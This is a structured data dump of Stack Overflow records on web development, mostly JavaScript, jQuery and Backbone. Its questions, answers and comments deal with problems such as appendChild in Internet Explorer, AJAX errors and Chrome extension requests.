type: AnsweredQuestion
tagged with: animate.css
linked to: http://stackoverflow.com/q/12632029
possible better answer: http://stackoverflow.com/a/25806060
has answer: http://stackoverflow.com/a/26556887
has comment: http://stackoverflow.com/comment/40040048
type: Question
score: 9

http://stackoverflow.com/q/25634759
has body: I need to be able to pass in either a tag or id to append the content and js files. As usual this works in every browser except ie, ie only works with document.getElementsByTagName('head')[0].appendChild. Is there a fix for this? http://jsfiddle.net/qg5zexmh/ // Append js and html. function _append(selector, arr) { var content = arr; for(var i = 0; i&lt; content.length; i++) { var _content = content[i]; var js = _content.indexOf('script'); if(js &gt; -1) { // Script tag. var script = document.createElement('script'); script.type = 'text/javascript'; var regex = /&lt;script.*?src="(.*?)"/gmi; var url = regex.exec(_content); var inline = ''; if(url) { script.src = url[1]; } else { _content.replace(/&lt;script[^&gt;]*&gt;([\s\S]*?)&lt;\/script&gt;/gi, function(){ inline += arguments[1] + '\n'; }); script.text = inline; } //document.getElementsByTagName("head")[0].appendChild(script); selector.appendChild(script); } else { // html content. selector.innerHTML += _content; } } } // Selector - div or tag. var selector = document.getElementById('content');
type: AnsweredQuestion
favorite count: 0
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25694288
has answer: http://stackoverflow.com/a/25672132
linked to: http://stackoverflow.com/q/7090198
possible better answer: http://stackoverflow.com/a/25672132
has title: appendChild not working in internet explorer
accepted answer: http://stackoverflow.com/a/25694288
downvote count: 0
tagged with: javascript
score: 1
has comment: http://stackoverflow.com/comment/40052621
type: Question

http://stackoverflow.com/q/25634940
has comment: http://stackoverflow.com/comment/40053308
has comment: http://stackoverflow.com/comment/40053022
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40053074
answer count: 0
has body: I want to resize a scrollable-div according to the viewport, so that it maintains 100% height and 100% width inside its parent container when resized. This includes maintaining a scrollbar inside the div at all time. So... Is it possible to resize a div to 100% height & width of the parent container depending on the size of the viewport? My main problem so far has to do with a toggle content button that adds a space on top of the scrollable-div, but instead of the div adjusting it gets pushed down until the bottom scroll-button gets cut off. Is there a way to resize it dynamically with the scrollbar? UPDATE: This is the code I'm focusing on the center section. The #content and #contentsection are the scrollable div and the content, and their parent containers are #networkfeed, #feed-content, and .center Show MeHide Me Lorem ipsum dolor sit amet, ius an dolorum lucilius sensibus, et sint graeco nec. Iudico atomorum eam eu. Nec equidem conceptam id. Cum velit viris voluptua an. Sea eu harum eirmod eloquentiam, quaestio complectitur voluptatibus in nam, an dicam platonem adolescens has. Te usu esse idque, no modo tractatos sed. Vero audire sapientem an sit, homero recteque pri in, vis at vidit admodum. Ex quo doctus eleifend contentiones, vis odio mucius tritani ut. Id cetero nostrud dissentiunt mel. Docendi scaevola vis ei. Vel et ponderum electram expetendis, cum cu quaestio definitionem, etiam ponderum vix ei. Ut his feugait assentior philosophia, atqui definitionem at mei. Liber sonet dictas ea has, nec odio fabellas ei. Vel oratio quodsi in, duo minim admodum ea. Pri id dolorum indoctum, vim at alia tritani. No pro esse error solet, vix quis prodesset ei. Tollit accommodare vis at, sed in tamquam prompta dolorem. Nam solum definitionem an, dicta nostrum adversarium ne nec. Eu docendi nominavi similique pri. Qui an natum tamquam, dictas invenire mei id. Cu omittam insolens rationibus ius, dicunt inciderint cum ea. Est vero dolorem et, assum antiopam mea ne. Te vel …
has title: Resize div according to viewport (JQuery or JS solution only)
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40052983
has comment: http://stackoverflow.com/comment/40052948
score: 0
has comment: http://stackoverflow.com/comment/40052984
tagged with: jquery

http://stackoverflow.com/comment/40134426
type: AnswerComment
comment on: http://stackoverflow.com/a/25679768
score: 0
has text: Hey, I can't seem to integrate your code with my tool, so I need your help again :( I've created a fiddle which replicates my tool. It searches according to the text in the divs and filters them accordingly. So please help me out. Sorry for the trouble. Here it is - [Fiddle](http://jsfiddle.net/yashghelani/tt0nnzvm/6/)
type: Comment

http://stackoverflow.com/q/25682023
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25683143
has answer: http://stackoverflow.com/a/25682024
type: Question
has title: How can I compare two different date formats and different time zones in JavaScript?
possible better answer: http://stackoverflow.com/a/25682024
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25682311
answer count: 3
has comment: http://stackoverflow.com/comment/40161837
has body: I want to compare two different time objects given in different formats and time zones. Input as structured english: IF "Mon Sep 15 2014 18:20:52 GMT+0200 (CEST)" is greater than "2014-09-04T13:57:33.338Z" Expected output: True How to achieve this in JavaScript?
accepted answer: http://stackoverflow.com/a/25682311

http://stackoverflow.com/comment/40047953
score: 0
comment on: http://stackoverflow.com/a/25632012
type: Comment
has text: Wow, I checked Chrome and Firefox before posting. Looked at it in firebug and lo and behold it's giving the expected behaviour. Thanks for the help.
type: AnswerComment

http://stackoverflow.com/q/25618781
has title: Backbone Model.save returns undefined instead of jqxhr
has comment: http://stackoverflow.com/comment/40023865
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40024938
accepted answer: http://stackoverflow.com/a/25720813
type: Question
has body: EDIT 1: This question is not valid anymore. For more info check EDIT #2 at the end of this question. The backbone docs say that Backbone.Model.save function returns a jqXHR objects if validation is successful, otherwise it returns false. So if a validation method is not defined, the model.save method should return a jqXHR but it actually returns 'undefined'. model.fetch works fine and returns a jqXHR object. jqXHR objects are useful for chaining with other deffered objects. I am calling a save on multiple models and would like to update the UI when all the save methods are complete. I want to do something like $.when(promise1,promise2,.....) .done().then(function(){ /* some callback code here */ }) Here is what the docs say save model.save([attributes], [options]) Save a model to your database (or alternative persistence layer), by delegating to Backbone.sync. Returns a jqXHR if validation is successful and false otherwise. Here is my code var x = new Backbone.Model(); x.url = "/a/valid/url"; var y = x.save({key1: "value1"}); var z = x.fetch(); console.log(typeof(y)); console.log(typeof(z)); The console output is undefined a jqXHR object Instead of logging a jqXHR object, this logs "undefined" to the console. Can someone help me with this? EDIT 2: I forgot to mention that I was overriding Backbone.sync method in my code, and in my overridden method I was not returning anything. Since model.save delegates to Backbone.sync (or its own custom sync method), the save method was returning 'undefined'.
tagged with: jquery-deferred
tagged with: javascript
has comment: http://stackoverflow.com/comment/40023119
has comment: http://stackoverflow.com/comment/40170824
downvote count: 0
answer count: 1
favorite count: 0
tagged with: backbone.js
has answer: http://stackoverflow.com/a/25720813
tagged with: promise
has comment: http://stackoverflow.com/comment/40023203
upvote count: 2
tagged with: jqxhr
has comment: http://stackoverflow.com/comment/40024000

http://stackoverflow.com/q/25676297
has title: new to javascript. I am trying to pass the value of a radio button as the name of an object in a javascript function
type: AnsweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25677795
type: Question
accepted answer: http://stackoverflow.com/a/25677795
tagged with: javascript
tagged with: forms
tagged with: radio-button
downvote count: 0
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has body: I have a function called speak. It takes in an object filled with arrays of fragments of sentences and spits out a random phrase. I have two of these objects. Each with unique sentence fragments. Via radio button I would like to be able to choose which object is sent through the function and then push a button to make that happen. When I hard wire the function with one of the buttons it works fine, but that is not what I am going for. I have tried several different suggested methods from this site and others with no luck. The closest I get is when I can get the name of the object into the speak function, but it is only recognized as a string. Here is my html... commentary a commentary b Commentary this version is not wired to the 'Commentary' button. It is instead wired to the radio buttons themselves and it does not work correctly. I am posting this because it is my most recent attempt. Here is my complete javascript including the two objects and the speak function... var ToolBelt = { commentary:{ exclamations: ["Wow! ", "Oh no! ", "God almighty! ", "Good Gracious! "], leadIn: ["That was a nasty ", "What a powerful ", "A horrifying ", "That was an illegal "], strikes: ["uppercut!", "chairshot!", "Lucy lick!", "monkey punch!", "jab", "Bug meow!", "dropkick!"], }, commentary1:{ exclamations: ["Moo! ", "Quack! ", "Bark! ", "Growl! "], leadIn: ["Chupa chup ", "Spaghetti ", "Bubbling ", "Necktie "], strikes: ["uppercut!", "chairshot!", "Lucy lick!", "monkey punch!", "jab", "Bug meow!", "dropkick!"], }, handleClick:function(object){ this.speak(object.value); }, speak:function(i){ var string=''; for(key in i){ var arr = i[key]; var x = this.random(0,arr.length); string += arr[x] + " "; } document.getElementById("commentator").innerHTML = string; }, random: function(max, min){ return Math.floor(Math.random()*(max-min)+min); } };

http://stackoverflow.com/a/25630995
downvote count: 0
has comment: http://stackoverflow.com/comment/40046606
has comment: http://stackoverflow.com/comment/40046809
score: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40046874
answers question: http://stackoverflow.com/q/25630887
has comment: http://stackoverflow.com/comment/40046657
accepted answer of: http://stackoverflow.com/q/25630887
has comment: http://stackoverflow.com/comment/40046970
has body: The chrome.extension.getURL function is used to get a file from your own computer located inside the extension's directory: string chrome.extension.getURL(string path): Converts a relative path within an extension install directory to a fully-qualified URL. This means your Ajax request is trying to access a URL like chrome-extension://aaaaaabbbbbccccccdddddd/http://www.roblox.com/some-asset-id In order to access files through chrome-extension://, you have to make them explicitly accessible to web pages through the web_accessible_resource manifest field. However, you probably just want to get the web URL http://www.roblox.com/some-asset-id. In case, getURL is completely inappropriate. Simply do something like: xhr.open("GET", baseurl + assetid, true); Your code has an additional problem, which is that it doesn't wait for the asynchronous Ajax call to complete. You should wait for the load event and then read responseText: contentInput.onclick = function(){ ... var xhr = new XMLHttpRequest(); xhr.open("GET", chrome.extension.getURL(baseurl + assetid), true); xhr.addEventListener("load", function() { var result = xhr.responseText; console.log(result); doSomethingElseWith(result); // all uses of `result` must be inside this function }); xhr.send(); ...
has comment: http://stackoverflow.com/comment/40046426
upvote count: 5
type: Answer

readonly
tag name: readonly
tags question: http://stackoverflow.com/q/25592156
type: Tag

http://stackoverflow.com/comment/40018381
type: AnswerComment
type: Comment
has text: @Yasitha, are you sure this solution is working? I am testing in my machine and it doesn't :-( When I mix form with table like the code what's mentioned above, It's not working.
comment on: http://stackoverflow.com/a/25616229
score: 0

http://stackoverflow.com/q/25562536
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25562671
accepted answer: http://stackoverflow.com/a/25562671
has title: Browser support for "e.target.files"
type: AnsweredQuestion
tagged with: javascript
type: Question
has body: I'm developing web app targeted mainly to chrome (desktop &amp; Android Tablet) + to few mobile browsers on non-Android Tablets. I have an html file upload field on my page, input type="file" id="fileId" OnChange event of this field I'm getting the attached file path (C:\fakepath\fileName.jpg). The problem is I want only the file name not the full path, so if I use e.target.files to get file name will it be supported on all major mobile browsers? P.S. On chrome desktop &amp; Android tablet it is supported. And i use jquery-1.9.1 with backbone.
score: 0
answer count: 1

http://stackoverflow.com/comment/40076981
type: Comment
has text: Why do you answer the question with the essentially same answer as I gave, even referring to my answer? I'm flattered of course, but does it add value?
score: 2
comment on: http://stackoverflow.com/a/25648521
type: AnswerComment

http://stackoverflow.com/comment/39906406
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25552804
has text: Backbone.js has a very elegant way of doing it. See [View-delegateEvents](http://backbonejs.org/#View-delegateEvents).
score: 0

http://stackoverflow.com/comment/40084450
type: QuestionComment
score: 1
has text: Please also include how you try to call it.
comment on: http://stackoverflow.com/q/25652434
type: Comment

http://stackoverflow.com/comment/40086761
type: Comment
has text: I had set the autoPlay to true but it started playing when the video wasn't on the current slide. And the slider didn't transition after the video was done playing.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25653003

http://stackoverflow.com/comment/40062706
type: QuestionComment
comment on: http://stackoverflow.com/q/25640647
has text: Err, isn't your factory named `$result`?
score: 2
type: Comment

http://stackoverflow.com/q/25561508
type: Question
has title: Unusual EventSource error in Firefox
tagged with: firefox
has comment: http://stackoverflow.com/comment/39983612
tagged with: javascript
has comment: http://stackoverflow.com/comment/39929013
has body: Unlike others, for me the EventSource is getting triggered and working fine in both Chrome and Firefox. But in Firefox whenever I receive a message in browser, I receive an error message along with it. Does not happen in Chrome. Client code: var source = new EventSource('***'); source.addEventListener('message', function(event) { ... }, false); source.addEventListener('ping', function(e) { ... }, false); source.addEventListener('error', function(e) { ... // now this part gets executed in firefox, whenever i recieve a msg }, false); Server, nodejs code: ***.on('fin',function(message){ delete ***; res.header('Content-Type', 'text/event-stream'); res.write('data: '+JSON.stringify(message)+'\n\n'); res.end(); }); ***.on('busError',function(){ delete ***; res.send(500); });
score: 0
accepted answer: http://stackoverflow.com/a/25566161
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25566161
linked to: http://stackoverflow.com/q/13590755
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39954826
tagged with: server-sent-events

http://stackoverflow.com/comment/40215926
type: Comment
comment on: http://stackoverflow.com/a/25688838
has text: Indeed this is a quick hack. But this answer does not require a manual trigger of the validation event since the validation plugin would actually trigger it. I would like to know how this kind of hack screws the HTML semantics (for personal knowledge). Thanks
score: 0
type: AnswerComment

http://stackoverflow.com/q/25703534
has body: I have to validate my textfields, which must only accept numbers. I have a script to do so, but this is not the problem. The problem is: I have to put my script in a "src" package and change my .jsp files to a "jsps" package. How can I validate my textboxes? I send my form, but I can't validate my textboxes one by one. I have 50 of them. In other .jsp file I have more.
has comment: http://stackoverflow.com/comment/40177195
has answer: http://stackoverflow.com/a/25773018
has comment: http://stackoverflow.com/comment/40177083
tagged with: java
has title: How to validate my textfields input?
type: Question
tagged with: jsp
tagged with: javascript
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40177265
type: UnansweredQuestion

http://stackoverflow.com/a/25632269
answers question: http://stackoverflow.com/q/25632144
downvote count: 0
has comment: http://stackoverflow.com/comment/40048614
type: Answer
score: 1
has body: Updated the fiddle, let me know if this was what you are going for. Basically just creating a capture group: var srcRegEx = /src="(.*?)"/g; var source = srcRegEx.exec(_content); script.src = source[1]; http://jsfiddle.net/zb3jh180/1/
upvote count: 1

http://stackoverflow.com/q/25632954
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40051645
tagged with: jquery
tagged with: ajax
has body: I am sending an AJAX request with jQuery to the Google Maps API. However, it seems to return incorrectly-formatted JSON (or I get an error as such). Here is my function call: jQuery.ajax({url: "https://maps.googleapis.com/maps/api/distancematrix/json", data: {mode: "driving", units: "imperial", origins: start_point, destinations: end_point}, async: false, dataType: 'jsonp', crossDomain: true}).responseText I get this error: Uncaught SyntaxError: Unexpected token : This is what the response looks like (I replaced most of the actual values for privacy): { "destination_addresses" : [ "end_address" ], // this line is highlighted for the error "origin_addresses" : [ "start_address" ], "rows" : [ { "elements" : [ { "distance" : { "text" : "some_distance", "value" : some_number }, "duration" : { "text" : "some_time", "value" : another_number }, "status" : "OK" } ] } ], "status" : "OK" } Is there any way to fix this? I thought I could somehow prevent jQuery from checking for errors, but I'm not sure.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40049435
has comment: http://stackoverflow.com/comment/40087651
has title: jQuery Ajax Request Parsing Invalid JSON
has comment: http://stackoverflow.com/comment/40049453
answer count: 0
tagged with: http://stackoverflow.com/tag/json
type: Question

http://stackoverflow.com/comment/39920884
comment on: http://stackoverflow.com/q/25563405
score: 0
type: Comment
type: QuestionComment
has text: Checking the user agent will be a problem in the future for obvious reasons hence I wish to avoid it and checking screen with is kinda a problem as well because of the sheer number of weird sized touch devices out there. I guess if I could check whether if it is a touch enabled device I would kinda have solved my problem.

http://stackoverflow.com/a/25581318
downvote count: 0
answers question: http://stackoverflow.com/q/25581299
has comment: http://stackoverflow.com/comment/39954669
has comment: http://stackoverflow.com/comment/39958447
has comment: http://stackoverflow.com/comment/39954738
has body: I think you need to give all 3 parameters. You can pass an anonymous function as second parameter like bellow request(url, function(err, response, body){ callbackFunction2(err,response, body, p); });
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/39954761
type: Answer
has comment: http://stackoverflow.com/comment/39954691

http://stackoverflow.com/q/25625109
type: Question
answer count: 2
tagged with: location
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I am trying to get the current domain and alert it on every tab change with chrome extension. For example everytime the user navigates another page it will alert("your current path is: " + location.hostname); But it does not work. What i am doing wrong? I tried this code: chrome.tabs.onUpdated.addListener( alert(location.hostname); );
upvote count: 2
type: UnansweredQuestion
tagged with: dns
tagged with: google-chrome
score: 2
has title: Chrome Extension Get The Current Domain On Every Tab Change
has answer: http://stackoverflow.com/a/25625355
has answer: http://stackoverflow.com/a/36824248

http://stackoverflow.com/comment/53626095
type: Comment
comment on: http://stackoverflow.com/a/32895606
type: AnswerComment
score: 0
has text: Wait until you can flag as duplicate or help me identify the best question that all of them should be duplicates of so I can vote to close as duplicate. They probably won't be closed, because those are old questions, but at least a comment will be created.

http://stackoverflow.com/comment/40139935
type: Comment
comment on: http://stackoverflow.com/a/25667518
has text: thanks @Moogs. i had tried that exact code earlier, but it did not work out. Only the top bar that is in HTML gets converted to pdf but the actual pdf file below it, does not get added.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40018033
type: AnswerComment
comment on: http://stackoverflow.com/a/25586388
type: Comment
has text: see this [Fiddle](http://jsfiddle.net/o6h1L9j8/) after clicking on green button of "phone 1" section I need to focus the input with green button of "phone 2" section. is it possible? help me.
score: 0

http://stackoverflow.com/comment/40026959
type: QuestionComment
comment on: http://stackoverflow.com/q/25621008
has text: Do you want it to simply submit the form or do you need to trigger a key press?
score: 0
type: Comment

http://stackoverflow.com/comment/40105252
type: Comment
has text: Thank you very much for the reply, Rob. Looking at an example like this: https://maps.googleapis.com/maps/api/geocode/json?address=atlantic+ocean Is it not possible to just have it so it tries to do it but suppresses any error if the value isn't present, rather than looping through which seems quite intensive
comment on: http://stackoverflow.com/a/25664256
score: 0
type: AnswerComment

http://stackoverflow.com/a/25899538
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25690065
has body: Resolved the issue by converting the lookup value "toString()"!

http://stackoverflow.com/comment/40150456
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25681082
has text: Unfortunately the example only works for me in chrome, in safari the pop-up window does not work. I have to have it work on a mac in safari too.

http://stackoverflow.com/comment/40052489
type: QuestionComment
comment on: http://stackoverflow.com/q/25634649
has text: Which way is "faster" is irrelevant. There is **no** performance problem with the code; see my comment on Joe's answer. Just Don't Worry about it; go find the 3% of the code that would actually benefit from being optimized..
score: 0
type: Comment

http://stackoverflow.com/comment/40148557
has text: can you share the HTML.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25688199

http://stackoverflow.com/comment/40024040
has text: please copy and paste the relevant rendered html into your original question. SO doesnt encourage the download of files for the purpose of assisting with questions
score: 1
comment on: http://stackoverflow.com/q/25619117
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25624214
accepted answer: http://stackoverflow.com/a/25624239
tagged with: javascript
tagged with: jquery
tagged with: ajax
answer count: 1
tagged with: file-upload
favorite count: 0
has body: I have a multipart form to upload images via AJAX. The HTML is the following: &lt;form name="mainform" id="mainform" class="form_step" action="" method="POST" enctype="multipart/form-data"&gt; &lt;!-- This is a imagen like a button in the HTML --&gt; &lt;img class="anchor_tag" onclick="trigger_img('#');" height="92" width="122" id="addimage_#" src="/some/image/path" alt="#"&gt; &lt;!-- File input hidden --&gt; &lt;input style="display:none;" type="file" name="photoimg_#" id="photoimg_#" class="upload"&gt; &lt;/form&gt; When the user click the "Upload Button" with .anchor_tag class, I execute this js: function trigger_img(divID) { $("#photoimg_" + divID).trigger('click'); $('#photoimg_' + divID).change(function() { var options = { url: 'http://www.someURL.com/Here/iHave/SomePHP', type: "GET", complete: function(data) { // Do Something } }; $('#mainform').ajaxSubmit(options); }); } If I try to upload a file, the console drop this error: Uncaught TypeError: undefined is not a function The error is in this line: $('#mainform').ajaxSubmit(options); The PHP file is ok because the file is "Uploaded" broken. Regards.
upvote count: 1
tagged with: php
type: AnsweredQuestion
score: 1
has title: Custom Ajax File Uploader, Issue with .AjaxSubmit()
has answer: http://stackoverflow.com/a/25624239
type: Question
downvote count: 0

http://stackoverflow.com/comment/41123364
has text: Thanks with a little tweaking I got it to work. However whenever I switch views the z-index gets reset again, any ideas?
type: AnswerComment
comment on: http://stackoverflow.com/a/25676809
score: 0
type: Comment

http://stackoverflow.com/a/25565303
upvote count: 1
type: AcceptedAnswer
has body: Please use the following code to perform error handling: socket.on('error', function (err) { console.log(err); });
accepted answer of: http://stackoverflow.com/q/25565081
answers question: http://stackoverflow.com/q/25565081
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/25649420
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25648974
answers question: http://stackoverflow.com/q/25648974
type: Answer
has body: it seems you are trying to do a get on the images in an ajax call through a loop counter and then add these image elements to the &lt;div&gt; element, however ajax calls being asynchronous , the appendTo() of image#1 might be called after appendTo of image#2 depending on when each of the ajax calls returns (which in turn might depend on the size of the image, network traffic etc.). The only way to ensure the elements are in order of server checks is by making the ajax calls synchronous by setting: async: false
has comment: http://stackoverflow.com/comment/40078543
score: 0

http://stackoverflow.com/q/25558618
has body: I have a backbone app that I have integrated into my rails app. I am trying to pass my validation errors back to a Backbone Model on creation but it's not making it all the way back to Backbone. Here's my model: # app/assets/javascripts/models/source.js.coffee class MyApp.Models.Source extends Backbone.Model urlRoot: '/api/sources' And my rails controller: # app/controller/api/sources_controller.rb class Api::SourcesController &lt; ApplicationController respond_to :json def create @source = Source.new source_params if @source.save respond_with @source else render json: { error: @source.error.messages }, status: 422 end end def source_params params.require(:source).permit(:feed_id, :source, :term) end end And finally the code that attempts to create my model: # app/assets/javascripts/views/new_source.js.coffee class MyApp.Views.SourceForm extends Backbone.View events: -&gt; 'submit .new_source': 'createSource' createSource: -&gt; @source = new Juicer.Models.Source $(event.target).serializeHash() @source.save success: =&gt; console.log 'ya' error: =&gt; console.log 'boo' When I actually run this code however, it never makes it all the way back to this backbone callback, instead I get this error in the console: POST http://localhost:3000/api/sources 422 (Unprocessable Entity) I've dug around a bit in the Backbone source but I can't figure out why this isn't making it through. It seems to be stuck at the jQuery .ajax method, which should be triggering the error callback, but instead seems to be breaking. I'm using Backbone v1.1.1 and jQuery v1.11.1 and Rails 4.1.5
accepted answer: http://stackoverflow.com/a/25559249
has comment: http://stackoverflow.com/comment/39913049
tagged with: ruby-on-rails
type: AnsweredQuestion
has title: Backbone Error Callback with Rails 4 Controller Response
type: Question
tagged with: javascript
tagged with: jquery
linked to: http://stackoverflow.com/q/11322182
score: 0
tagged with: ruby-on-rails-4
answer count: 1
duplicate of: http://stackoverflow.com/q/11322182
has answer: http://stackoverflow.com/a/25559249
tagged with: backbone.js

http://stackoverflow.com/q/25626855
type: Question
has answer: http://stackoverflow.com/a/25626979
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25626979
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40042777
possible better answer: http://stackoverflow.com/a/25627086
score: 2
has answer: http://stackoverflow.com/a/25627086
upvote count: 2
has title: I want my controller to wait for my directive to be completed before doing other things
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40042862
tagged with: synchronous
has body: I have this controller function : $scope.keypadEnter = function () { userService.isCodeValid($scope.code).then(function (result) { if (JSON.parse(result.data)) { $scope.highlight("lime").then(function () {; console.log("redirecting ..."); $location.path('/clockin'); }); } else { $scope.highlight("red"); } $scope.code = ""; }); }; The controller calls a service (userService) function (isCodeValid) that returns true if the specified code is valid, otherwise false. Look closely at these two lines : $scope.highlight("lime"); $location.path('/clockin'); $scope.highlight is a directive function that triggers a jquery (highlight) animation : angular.module('clockin').directive('grDisplay', function () { return { restrict: 'A', link: function ($scope, $element, $attrs) { $scope.highlight = function (color) { $element.effect("highlight", { color: color }, 500); } } }; }); I would like these two lines to be executed synchronously, to be able to see the highlight animation ($scope.highlight(...)) before being redirected ($location.path(...)). How can I do that ? Update : I've changed my directive code to the following (I have exagerated the timeout to 5 seconds): angular.module('clockin').directive('grDisplay', function ($q, $timeout) { return { restrict: 'A', link: function ($scope, $element, $attrs) { $scope.highlight = function (color) { var deferred = $q.defer(); $element.effect("highlight", { color: color }, 500) $timeout(deferred.resolve(), 5000); return deferred.promise; } } }; }); And my controller function to the following : $scope.keypadEnter = function () { userService.isCodeValid($scope.code).then(function (result) { if (JSON.parse(result.data)) { $scope.highlight("lime").then(function () {; console.log("redirecting ..."); $location.path('/clockin'); }); } else { $scope.highlight("red"); } $scope.code = ""; }); }; When running, I still have the same results : I can see the highlight but it doesn't have time to finish as I am redirected. And I have this error : Type…
has comment: http://stackoverflow.com/comment/40043191
has comment: http://stackoverflow.com/comment/40037914

http://stackoverflow.com/comment/40035298
type: QuestionComment
type: Comment
score: 0
has text: And the question is...
comment on: http://stackoverflow.com/q/25625464

http://stackoverflow.com/comment/40052777
type: AnswerComment
has text: Thank you :), jquery.com is the best site to learn jquery.W3shcool is easy to learn some basic knowledge, we can edit the source code and then can see the result,which is good to beginners.
type: Comment
comment on: http://stackoverflow.com/a/25634747
score: 0

http://stackoverflow.com/a/25592773
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25592755
downvote count: 0
has body: In else part say document.getElementById("userYOB").value= " "; instead of userYearOfBirth = " "; Because userYearOfBirth is a simple string so updating it doesn't update the value of textbox.
type: Answer

http://stackoverflow.com/comment/40001501
type: AnswerComment
comment on: http://stackoverflow.com/a/25603083
has text: then when you click on that button add a specific class to it, then you will know which button is active. It would be helpful if you post your whole code or have a Jsfiddle
type: Comment
score: 0

http://stackoverflow.com/q/25681166
has comment: http://stackoverflow.com/comment/40136104
has comment: http://stackoverflow.com/comment/40136206
has title: Trying to detect the Enter key in JS
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40136011
type: Question
has comment: http://stackoverflow.com/comment/40137169
has answer: http://stackoverflow.com/a/25681755
score: 1
has comment: http://stackoverflow.com/comment/40136344
has answer: http://stackoverflow.com/a/25681735
has comment: http://stackoverflow.com/comment/40136488
answer count: 3
has comment: http://stackoverflow.com/comment/40136001
downvote count: 0
has answer: http://stackoverflow.com/a/25681382
tagged with: javascript
has comment: http://stackoverflow.com/comment/40136028
has comment: http://stackoverflow.com/comment/40136042
favorite count: 0
has comment: http://stackoverflow.com/comment/40136287
has body: So I have a game, and Im trying to keep it from starting unless the user pressed the Enter key. This is the code I have for that: var code = (e.keyCode ? e.keyCode : e.which); var enterpressed = 0; do { if(code == 13) { //Enter keycode enterpressed = 13; } ctx.font = "25px Helvetica"; drawStartScreen(); update(); } while (enterpressed === 13); This is the full program, on JSfiddle: http://jsfiddle.net/3aoozxte/6/ Edit: I figured it out! Here is the program working: http://jsfiddle.net/84c2k5kg/6/
has comment: http://stackoverflow.com/comment/40136242
has comment: http://stackoverflow.com/comment/40135974
has comment: http://stackoverflow.com/comment/40137090
has comment: http://stackoverflow.com/comment/40136041

http://stackoverflow.com/comment/39956135
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25582203
has text: I need exactly `[data-v-numeric="numeric"]` because I want to have also `[data-v-numeric="integer"]`, `[data-v-numeric="positive"]`, `[data-v-numeric="decimal"]` etc.

http://stackoverflow.com/a/25590343
has comment: http://stackoverflow.com/comment/39971418
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25590330
has comment: http://stackoverflow.com/comment/39970992
type: Answer
accepted answer of: http://stackoverflow.com/q/25590330
has body: 635450757182431418 is too big for the JavaScript format number, which is IEEE754 double precision, meaning there's about 53 bits for the integer part. This number can't be exactly represented as a JavaScript number, you should use a different format (string, digit array, custom). If you want to get the timestamp as a string, you might do this : var strTimestamp = strObj.match(/"Timestamp"\s*:\s*(\d+)/)[1];
score: 0

http://stackoverflow.com/q/25569111
has body: Hello guys i have just written this code.All I want is simply hover the cursor over this buttons and affect the div that's on their right side. The problem i have now is that i can't link any image.Only colors.But i don't want colors. I know that's is simple but is slipping my mind right now.
accepted answer: http://stackoverflow.com/a/25569244
type: Question
tagged with: http://stackoverflow.com/tag/html
has title: Javascript affect a div on hover
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/39931384
tagged with: javascript
has answer: http://stackoverflow.com/a/25569244
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39931456

http://stackoverflow.com/q/25579706
score: -2
has body: I have a header image and I want to move from left to right smoothly using jQuery. I searched Google and stackoverflow, but didn't get what I needed. HTML5 code: &lt;header&gt; &lt;div class="move"&gt; &lt;img src="http://s10.postimg.org/noxw294zd/banner.png" alt="banner" /&gt; &lt;/div&gt; &lt;/header&gt; I used &lt;marquee&gt; for simple method, but I need it to moving smoothly. How do I create the effect I'm looking for?
type: Question
upvote count: 0
has answer: http://stackoverflow.com/a/25579770
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25579952
favorite count: 0
has comment: http://stackoverflow.com/comment/39952030
possible better answer: http://stackoverflow.com/a/25579770
has answer: http://stackoverflow.com/a/25579758
tagged with: http://stackoverflow.com/tag/html
answer count: 4
has title: How to move smoothly header image from left to right in html5
downvote count: 2
has comment: http://stackoverflow.com/comment/39957248
has answer: http://stackoverflow.com/a/25579952
has answer: http://stackoverflow.com/a/25580064
type: AnsweredQuestion

http://stackoverflow.com/a/25707085
answers question: http://stackoverflow.com/q/25707015
has comment: http://stackoverflow.com/comment/40194571
accepted answer of: http://stackoverflow.com/q/25707015
score: 0
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40197945
has comment: http://stackoverflow.com/comment/40194536
has comment: http://stackoverflow.com/comment/40193040
